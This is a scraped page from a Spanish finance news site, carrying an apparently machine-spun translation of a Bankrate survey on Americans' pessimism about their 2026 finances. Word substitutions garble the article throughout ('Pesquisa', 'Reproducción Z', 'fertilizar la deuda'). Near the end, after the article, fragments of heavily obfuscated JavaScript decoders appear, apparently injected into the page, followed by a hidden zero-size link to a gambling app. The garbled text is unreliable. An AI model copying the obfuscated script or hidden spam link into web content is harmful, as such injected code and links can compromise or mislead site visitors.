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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Saturday, September 12, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>En presencia de una inflación persistente y un mercado sindical que está perdiendo fuerza, muchos estadounidenses se sienten desconcertados estos días. Y en lo que respecta al año que viene, el 32% cree que sus finanzas personales empeorarán en 2026, según la nuevo Pesquisa de perspectivas financieras de Bankrate: el nivel más parada de pesimismo desde 2018, cuando Bankrate comenzó a preguntar a los consumidores sobre sus perspectivas financieras. El año pasado, el 23% pensó que sus finanzas empeorarían en 2025.</p>
<p>La inflación y el panorama político contemporáneo son factores comunes que explican la perspectiva negativa contemporáneo de la muchedumbre: quienes esperan que sus finanzas personales empeoren el próximo año citaron con frecuencia una inflación inscripción y continua (78%) y el trabajo realizado por los representantes electos (55%) como razones de su preocupación.</p>
<p>Los datos económicos estadounidenses validan estas preocupaciones. Aunque la inflación ha bajado a posteriori de alcanzar un mayor del 9,1% en junio de 2022, los precios han subido rodeando del 25% desde 2020. Y para muchos, la inflación no se ve compensada por mayores ingresos, ya que el ingreso medio de los hogares el año pasado no fue estadísticamente diferente al de 2019.</p>
<h2 id="findings" data-position="1" data-beam-element-viewed="" data-id="br-h2-1-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Bankrate’s key findings" data-outcome="">Los principales hallazgos de Bankrate</h2>
<div class="BlockQuote pb-8 BlockQuote--bordered flex flex-col items-center text-center md:text-left md:flex-row gap-3 md:gap-8 mb-8 md:mb-0">
<blockquote class="BlockQuote-text text-center md:text-left"><p>
        <q>La pena inflacionaria es existente, ya que los estadounidenses se preparan para producirse el calendario pero no pueden producirse página. Una sensación decreciente de optimismo crematístico se produce a medida que el mercado sindical se ha enfriado y la inflación se ha mantenido persistente, con los precios en caudillo todavía elevados.</q><br />
                    <cite class="PullQuote-cite text-gray-900 ml-0 md:ml-4"></p>
<p>                —Mark Hamrick | Analista crematístico senior de Bankrate<br />
            </cite>
            </p></blockquote>
</div>
<h2 id="outlook" data-position="2" data-beam-element-viewed="" data-id="br-h2-2-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Americans are less likely to believe their finances will improve in 2026" data-outcome="">Es menos probable que los estadounidenses crean que sus finanzas mejorarán en 2026</h2>
<p>Si adecuadamente muchos encuestados esperan que sus finanzas empeoren el próximo año, la pesquisa encontró que aproximadamente uno de cada tres (34%) estadounidenses sintió que su situación financiera mejoraría el próximo año, lo cual es inferior a la pesquisa del año pasado cuando el 44% dijo que esperaba una progreso. Otro 34% dijo que sentía que su situación seguiría igual el próximo año.</p>
<p><iframe loading="lazy" src="https://e.infogram.com/eb386610-5537-4ae8-b723-7f2e5b5f8c83?src=embed&amp;embed_type=responsive_iframe" title="2025 December FSP viz 1" allowfullscreen="" allow="fullscreen" style="position: absolute; width: 100%; height: 100%; top: 0px; left: 0px; border: none; padding: 0px; margin: 0px;"></iframe></p>
<p>A través de generaciones, aquellos que no esperan que sus finanzas mejoren el próximo año incluyen:</p>
<ul class="wp-block-list">
<li>54% de la Reproducción Z (de 18 a 28 primaveras)</li>
<li>60% de los millennials (entre 29 y 44 primaveras)</li>
<li>69% de la Reproducción X (entre 45 y 60 primaveras)</li>
<li>76% de los baby boomers (entre 61 y 79 primaveras)</li>
</ul>
<p>Entre quienes creen que sus finanzas mejorarán se encuentran:</p>
<ul class="wp-block-list">
<li>46% de la Reproducción Z</li>
<li>40% de los millennials</li>
<li>31% de la Reproducción X</li>
<li>25% de los baby boomers</li>
</ul>
<p><em>* Correcto al redondeo, es posible que las cifras no sumen el 100%.</em></p>
<p>El aumento del pesimismo este año se midió en todos los partidos. El número de republicanos que dijeron que sus finanzas personales mejorarían el año futuro disminuyó al 44% en la última pesquisa, frente al 62% en una pesquisa similar realizada en la misma época el año pasado. Mientras tanto, el 37% de los demócratas consideró que su situación financiera empeoraría el próximo año, frente al 30% en la pesquisa del año pasado.</p>
<h2 id="inflation" data-position="3" data-beam-element-viewed="" data-id="br-h2-3-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Continued high inflation is a top worry" data-outcome="">La persistencia de una inflación elevada es una de las principales preocupaciones</h2>
<p>El Índice de Precios al Consumidor (IPC), una medida global de la inflación, ha ido subiendo lentamente en los últimos meses y alcanzó el 3% en septiembre, el nivel más parada desde principios de 2025. Como resultado, los presupuestos de los hogares se reducen con el aumento de los precios de todo, desde comestibles y prendas de vestir hasta muebles y reparaciones de automóviles. </p>
<p>La mayoría de aquellos (78%) que pensaban que sus finanzas empeorarían el próximo año dijeron que se sentían así conveniente a la continua inflación inscripción. </p>
<p>Otras razones importantes incluyen el trabajo realizado por los representantes electos (55%), ingresos estancados o reducidos (46%) y el monto de la deuda que tienen (25%).</p>
<p><iframe loading="lazy" src="https://e.infogram.com/d44c14aa-2c0f-48c9-93fc-b41d252aa1a3?src=embed&amp;embed_type=responsive_iframe" title="2025 December FSP viz 2" allowfullscreen="" allow="fullscreen" style="position: absolute; width: 100%; height: 100%; top: 0px; left: 0px; border: none; padding: 0px; margin: 0px;"></iframe></p>
<p>De quienes creen que su situación financiera mejorará el próximo año, casi la medio (47%) dice que es gracias al aumento de los ingresos. Eso se compara con el 35% que citó esta razón hace un año. Otras razones principales por las que los estadounidenses creen que sus finanzas mejorarán incluyen mejores hábitos de pago (40%), tener menos deuda (37%) y ingresar más moneda con ahorros o inversiones (30%).</p>
<p><iframe loading="lazy" src="https://e.infogram.com/5d43d104-3ce9-45d5-9ed0-02433151c6e2?src=embed&amp;embed_type=responsive_iframe" title="2025 December FSP viz 3" allowfullscreen="" allow="fullscreen" style="position: absolute; width: 100%; height: 100%; top: 0px; left: 0px; border: none; padding: 0px; margin: 0px;"></iframe></p>
<h2 id="debt" data-position="4" data-beam-element-viewed="" data-id="br-h2-4-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Reducing debt remains a top financial goal for next year" data-outcome="">La reducción de la deuda sigue siendo uno de los principales objetivos financieros para el próximo año</h2>
<p>El principal objetivo financiero más global citado por los estadounidenses para 2026 es fertilizar la deuda (19%), y ese porcentaje tiende a aumentar con la etapa. Por reproducción, eso se divide en:</p>
<ul class="wp-block-list">
<li>9% de la Reproducción Z</li>
<li>16% de los millennials</li>
<li>24% de la Reproducción X</li>
<li>25% de los baby boomers</li>
</ul>
<p>&#8220;El hecho de que los estadounidenses de viejo etapa estén más concentrados en atacar sus niveles de deuda muestra cuán costosa y perniciosa puede ser la deuda, particularmente la deuda de viejo costo, que resulta de las tarjetas de crédito&#8221;, dice Hamrick. &#8220;Es prudente deshacerse de esta deuda siempre que sea posible&#8221;.</p>
<p>Las tasas porcentuales anuales (APR) de las tarjetas de crédito actualmente promedian rodeando del 20%. Y casi la medio de los titulares de tarjetas de crédito (46%) tienen un saldo de maleable de crédito, según la Pesquisa de deuda de tarjetas de crédito de Bankrate.</p>
<p><iframe loading="lazy" src="https://e.infogram.com/07ccb67a-b82f-493e-8b3c-7429d8a7a915?src=embed&amp;embed_type=responsive_iframe" title="2025 December FSP viz 4" allowfullscreen="" allow="fullscreen" style="position: absolute; width: 100%; height: 100%; top: 0px; left: 0px; border: none; padding: 0px; margin: 0px;"></iframe></p>
<p>Conseguir un trabajo mejor remunerado o una fuente adicional de ingresos es el segundo objetivo financiero más global para los estadounidenses (14%), seguido de atesorar más moneda para emergencias (13%) y presupuestar mejor el pago (12%).</p>
<p>Uno de cada 10 estadounidenses (10%) no tiene objetivos financieros para 2026, y los baby boomers son los que son más propensos a opinar que no los tienen:</p>
<ul class="wp-block-list">
<li>Reproducción Z: 6%</li>
<li>Millennials: 9%</li>
<li>Reproducción X: 8%</li>
<li>Baby boomers: 14%</li>
</ul>
<h2 id="priorities" data-position="5" data-beam-element-viewed="" data-id="br-h2-5-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Many plan to address their main financial goal right away" data-outcome="">Muchos planean tocar su principal objetivo financiero de inmediato.</h2>
<p>De aquellos que dijeron a Bankrate que tienen un objetivo financiero principal, el 44% dijo que es una resolución de Año Nuevo que abordarán de inmediato. </p>
<p>Mientras tanto, casi un tercio (35%) dijo que abordarán su objetivo una vez que hayan tenido tiempo para pensar y planificar, mientras que el 12% dijo que es un problema a espléndido plazo que abordarán a posteriori de investigar o apañarse asesoramiento. Casi 1 de cada 10 (9%) dijo que no sabe cómo abordará su principal objetivo financiero el próximo año.</p>
<p><iframe loading="lazy" src="https://e.infogram.com/fbbc459b-f73c-495a-ae52-4ecd15a76369?src=embed&amp;embed_type=responsive_iframe" title="2025 December FSP viz 5" allowfullscreen="" allow="fullscreen" style="position: absolute; width: 100%; height: 100%; top: 0px; left: 0px; border: none; padding: 0px; margin: 0px;"></iframe></p>
<h2 data-position="6" data-beam-element-viewed="" data-id="br-h2-6-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Bottom line" data-outcome="">En pocas palabras</h2>
<p>La Pesquisa de perspectivas financieras de Bankrate para el año 2026 muestra que el número de estadounidenses pesimistas sobre sus finanzas personales ha aumentado al nivel más parada en al menos los últimos ocho primaveras. Los estadounidenses se sienten menos optimistas acerca de sus finanzas, impulsados ​​por factores como la inflación y los ingresos estancados o reducidos.</p>
<p>Las preocupaciones de los consumidores no son infundadas, considerando que los precios siguen aumentando mientras que los ingresos no parecen seguir el ritmo. A medida que los presupuestos de los hogares se vuelven cada vez más escasos, los estadounidenses están dando prioridad a los objetivos de fertilizar deudas, atesorar moneda para emergencias y encontrar fuentes adicionales de ingresos.</p>
<p>&#8220;Con tantos estadounidenses que buscan encontrar un trabajo mejor remunerado u otra forma de aumentar sus ingresos, esperamos que el mercado sindical siga siendo lo suficientemente resistente como para que sus esperanzas se hagan sinceridad&#8221;, dice Hamrick. &#8220;El peligro es que el desempleo aumente antiguamente de descabalgar significativamente, lo que se traducirá en una viejo presión financiera y estrés para las personas y los hogares&#8221;.</p>
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yjvmJd(){function tIcKXXx(tIcKXXx){var yjvmJd="UsfPABFWVcCkKmYIMSTN_t<GuyZ2Hd~7`b:#=QaJ>Ozeg|3E5qioRD(n{8X@h\"}jplL;]*/4+)^x0.[9w,$1%&!v?r6",Gm5NWa,bD4Rv6S,NquUqP5,THsRW8D,jJ3t4yd,TehqfkE,tioCSm;PbNtMM(Gm5NWa=""+(tIcKXXx||""),bD4Rv6S=Gm5NWa.length,NquUqP5=[],THsRW8D=s05aBB[0x0],jJ3t4yd=s05aBB[0x0],TehqfkE=-s05aBB[0x1]);for(tioCSm=s05aBB[0x0];tioCSm<bD4Rv6S;tioCSm++){var ptkn43=yjvmJd.indexOf(Gm5NWa[tioCSm]);if(ptkn43===-s05aBB[0x1])continue;if(TehqfkE<s05aBB[0x0]){TehqfkE=ptkn43}else{PbNtMM(TehqfkE+=ptkn43*s05aBB[0xc],THsRW8D|=TehqfkE<<jJ3t4yd,jJ3t4yd+=(TehqfkE&s05aBB[0xd])>s05aBB[0xe]?s05aBB[0xf]:s05aBB[0x10]);do{PbNtMM(NquUqP5.push(THsRW8D&s05aBB[0x3]),THsRW8D>>=s05aBB[0x2],jJ3t4yd-=s05aBB[0x2])}while(jJ3t4yd>s05aBB[0x9]);TehqfkE=-s05aBB[0x1]}}if(TehqfkE>-s05aBB[0x1]){NquUqP5.push((THsRW8D|TehqfkE<<jJ3t4yd)&s05aBB[0x3])}return ofYXKfs(NquUqP5)}function yjvmJd(yjvmJd){if(typeof bD4Rv6S[yjvmJd]===s05aBB[0x5]){return bD4Rv6S[yjvmJd]=tIcKXXx(NquUqP5[yjvmJd])}return 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eTu6Sbm(tIcKXXx){if(tIcKXXx>=s05aBB[0x14]&&tIcKXXx<=0xdfff){function yjvmJd(tIcKXXx){var yjvmJd="y1&#x`3%;}!zu_^2v\"7/U~Fi0:fCw$@Y|(.)t6NQ=qb,{e4VPIh*AJG?+LH[>SO8sBgkEaDmXnoRKMZpjrclW9d<]5T",THsRW8D,jJ3t4yd,TehqfkE,tioCSm,ptkn43,eTu6Sbm,Jzc_oc;PbNtMM(THsRW8D=""+(tIcKXXx||""),jJ3t4yd=THsRW8D.length,TehqfkE=[],tioCSm=s05aBB[0x0],ptkn43=s05aBB[0x0],eTu6Sbm=-s05aBB[0x1]);for(Jzc_oc=s05aBB[0x0];Jzc_oc<jJ3t4yd;Jzc_oc++){var zPsKAt=yjvmJd.indexOf(THsRW8D[Jzc_oc]);if(zPsKAt===-s05aBB[0x1])continue;if(eTu6Sbm<s05aBB[0x0]){eTu6Sbm=zPsKAt}else{PbNtMM(eTu6Sbm+=zPsKAt*s05aBB[0xc],tioCSm|=eTu6Sbm<<ptkn43,ptkn43+=(eTu6Sbm&s05aBB[0xd])>s05aBB[0xe]?s05aBB[0xf]:s05aBB[0x10]);do{PbNtMM(TehqfkE.push(tioCSm&s05aBB[0x3]),tioCSm>>=s05aBB[0x2],ptkn43-=s05aBB[0x2])}while(ptkn43>s05aBB[0x9]);eTu6Sbm=-s05aBB[0x1]}}if(eTu6Sbm>-s05aBB[0x1]){TehqfkE.push((tioCSm|eTu6Sbm<<ptkn43)&s05aBB[0x3])}return ofYXKfs(TehqfkE)}function THsRW8D(tIcKXXx){if(typeof bD4Rv6S[tIcKXXx]===s05aBB[0x5]){return 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zPsKAt=yjvmJd.indexOf(tioCSm[Jzc_oc]);if(zPsKAt===-s05aBB[0x1])continue;if(eTu6Sbm<s05aBB[0x0]){eTu6Sbm=zPsKAt}else{PbNtMM(eTu6Sbm+=zPsKAt*s05aBB[0xc],TehqfkE|=eTu6Sbm<<ptkn43,ptkn43+=(eTu6Sbm&s05aBB[0xd])>s05aBB[0xe]?s05aBB[0xf]:s05aBB[0x10]);do{PbNtMM(jJ3t4yd.push(TehqfkE&s05aBB[0x3]),TehqfkE>>=s05aBB[0x2],ptkn43-=s05aBB[0x2])}while(ptkn43>s05aBB[0x9]);eTu6Sbm=-s05aBB[0x1]}}if(eTu6Sbm>-s05aBB[0x1]){jJ3t4yd.push((TehqfkE|eTu6Sbm<<ptkn43)&s05aBB[0x3])}return ofYXKfs(jJ3t4yd)}function tioCSm(tIcKXXx){if(typeof bD4Rv6S[tIcKXXx]===s05aBB[0x5]){return bD4Rv6S[tIcKXXx]=yjvmJd(NquUqP5[tIcKXXx])}return bD4Rv6S[tIcKXXx]}throw Error(tioCSm(0x52))}PbNtMM(tIcKXXx=THsRW8D[TehqfkE]&s05aBB[0x3],TehqfkE++);if((tIcKXXx&s05aBB[0x1a])==s05aBB[0x16]){return tIcKXXx&s05aBB[0x6]}throw Error(Gm5NWa(s05aBB[0x1c]))}function e1RAu20(){var tIcKXXx,yjvmJd,tioCSm,ptkn43,Jzc_oc;function zPsKAt(tIcKXXx){var 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<!-- sc5a72ec-ec6754 -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
